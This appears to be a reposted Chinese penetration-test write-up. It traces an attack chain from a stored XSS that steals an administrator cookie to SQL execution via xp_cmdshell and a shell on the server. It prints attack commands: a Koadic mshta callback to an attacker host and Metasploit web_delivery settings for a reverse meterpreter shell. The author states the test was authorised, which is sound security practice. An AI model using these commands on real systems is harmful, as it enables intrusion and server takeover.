记一次由XSS一步一步获得服务器权限的渗透测试过程
2019-10-30 11:51:59 Author: mp.weixin.qq.com(查看原文) 阅读量:69 收藏

第一次写文章,可能逻辑不太清晰,我尽自己最大努力,还请各位表哥嘴下留情。

说起XSS,很多测试人员往往只输入一些简单的payload让其弹窗证明即可(之前我也是这么干的)但通过这篇文章,可能以后不会再让我们仅仅弹个窗证明其XSS漏洞存在。

XSS跨站脚本攻击原理与实践

http://www.hetianlab.com/expc.do?ec=ECIDee9320adea6e062017112120313800001


寻找入手点
渗透的思路是首先进行信息搜集,但这次测试的只有getshell或者拿到服务器的权限才给分数,像一般的XSS,csrf、弱口令是不算的即便是拿到后台但是没有getshell的话也是不算的。在这种情况下一般我是寻找上传点,通过Google语法搜索,site:子域名+intitle:注册/登录/系统来寻找可以注册或者登录的地方。

注册成功后发现个人信息处存在XSS漏洞,平常测试都是让其弹窗证明一下即可,没有想通过XSS来做一些事情。因为该处有身份证上传功能,我首先对上传点进行绕过,但是试了各种方法后发现没有成功,故放弃该上传点,开始仔细审查这个网站,发现此处提交个人信息保存后要管理员审核,而又存在存储型XSS,那为什么不碰碰运气打一下管理员的cookie呢。于是在此处插入XSSpayload之后就出去吃饭静等结果。

没想到今天脸确实挺白的,吃饭时发现XSS打到管理员cookie信息的邮箱已经弹到了我的手机上,顾不上吃饭立马回去打开电脑继续搞。


访问之后通过chrome上的EditThisCookie插件替换cookie成功以管理员的身份进入后台,但发现进入的页面是一个类似于静态的页面,只能看到里面的一些信息,其他什么功能都没有:

心想,不应该啊,既然管理员要审核我的用户信息,肯定是要有审核的那个接口,这时就想到了浏览器的同源策略
浏览器的同源策略
同源的定义:如果两个页面的协议,端口和主机都相同,则两个页面具有相同的源。Cookie:只有同源的网页才能共享,但是若两个页面一级域名相同,只是二级域名不同,那么浏览器可以通过设置document.domain来共享Cookie。

浏览器特性和安全策略

http://www.hetianlab.com/expc.do?ec=ECID9d6c0ca797abec2017032313591500001

同源策略
果然可行,通过同源策略,我们成功的进入了管理员的后台。
进入后台第一件事:找上传点!同样无果,只能看看有没有其他的突破口。终于在内容管理处找到了一个可以执行sql语句的地方。

既然可以执行SQL语句,那肯定少不了我们的常用命令xp_cmdshell,通过命令exec master..xp_cmdshell 'powershell whoami'命令成功执行,得知该服务器权限为system权限。

接下来的任务就是反弹shell到我们的MSF上了。但发现powershell反弹shell怎么弹都弹不回来,但走到这一步总不能放弃吧,毕竟我是想进入他们内网拉屎的男人。这时问了公司大佬,大佬说可以用koadic试一试。
koadic的使用
之前发现社区里面并没有对koadic的介绍,我这里简单的提两句吧。
Koadic是发布于DEFCON上的一个后渗透工具,它和msf相似,但是Koadic主要是通过使用Windows ScriptHost(也称为JScript / VBScript)进行大部分的操作,其核心兼容性支持Windows2000到Window 10的环境中使用,Koadic也试图兼容Python 2和Python 3。
设置IP和端口,进行本地监听。

koadic生成的mshta http://ip/XXXX 通过xp_cmdshell成功执行命令反弹到koadic上。

监听成功:

cmdshell 0 -->进入cmd命令模式

这里其实使用koadic也可以进行后续操作,如提权、抓密码等,但确实是不太熟悉koadic的一些功能,所以这里我们还是选择使用我们最熟悉的MSF这款神器吧。(吹爆MSF!!-。-)

既然在koadic可以执行CMD命令,接下来我们只需要把shell转到msf上即可;
打开MSF :msfconsole
使用web_delivery模块
use exploit/multi/script/web_delivery
设置payload:
set payload windows/x64/meterpreter/reverse_tcp_rc4
set SRVPORT 8081
set lhost XX.XX.XX.XXX

因为之前已经通过koadic监听到,而koadic和MSF都搭在我的服务器上,我们可以将其设置为攻击者的内网IP地址。
查看内网ip:

set reverselistenerbindaddress 172.xx.xx.182
run
生成一个powershell.exe

在koadic执行exe之后成功将shell转移到我们的MSF上

成功接收到sessions

看到熟悉的meterpreter模块真的是老泪纵横啊!!!

因为该服务器的权限直接是system权限,无需提权,正当我想继续内网的主机各种横向各种冲冲冲的的时候发现了一个重要的问题:没有域!!!(哭~)然后登录远程桌面后查看有没有什么关键信息,发现无果,于是乎就到此告一段落,将报告写了之后这次渗透测试就到此为止。

总结:可能我们现在做渗透测试的很多遇到XSS都是弹窗证明漏洞存在即可(不包含所有人,只是我周围的一些同事或者朋友大多如此),但是只要多做一步,说不定有你意想不到的收获!

注明:整个渗透过程经过授权!!该网站已修复。

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:[email protected]

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652852505&idx=1&sn=de1df93ba6eba09008ecdd38dc95872f&chksm=bd592dd48a2ea4c27bf7118ab6f277f5e7992b5ed39f3a0ef4ea9e561ca0ec86ee2db3f85940#rd
如有侵权请联系:admin#unsafe.sh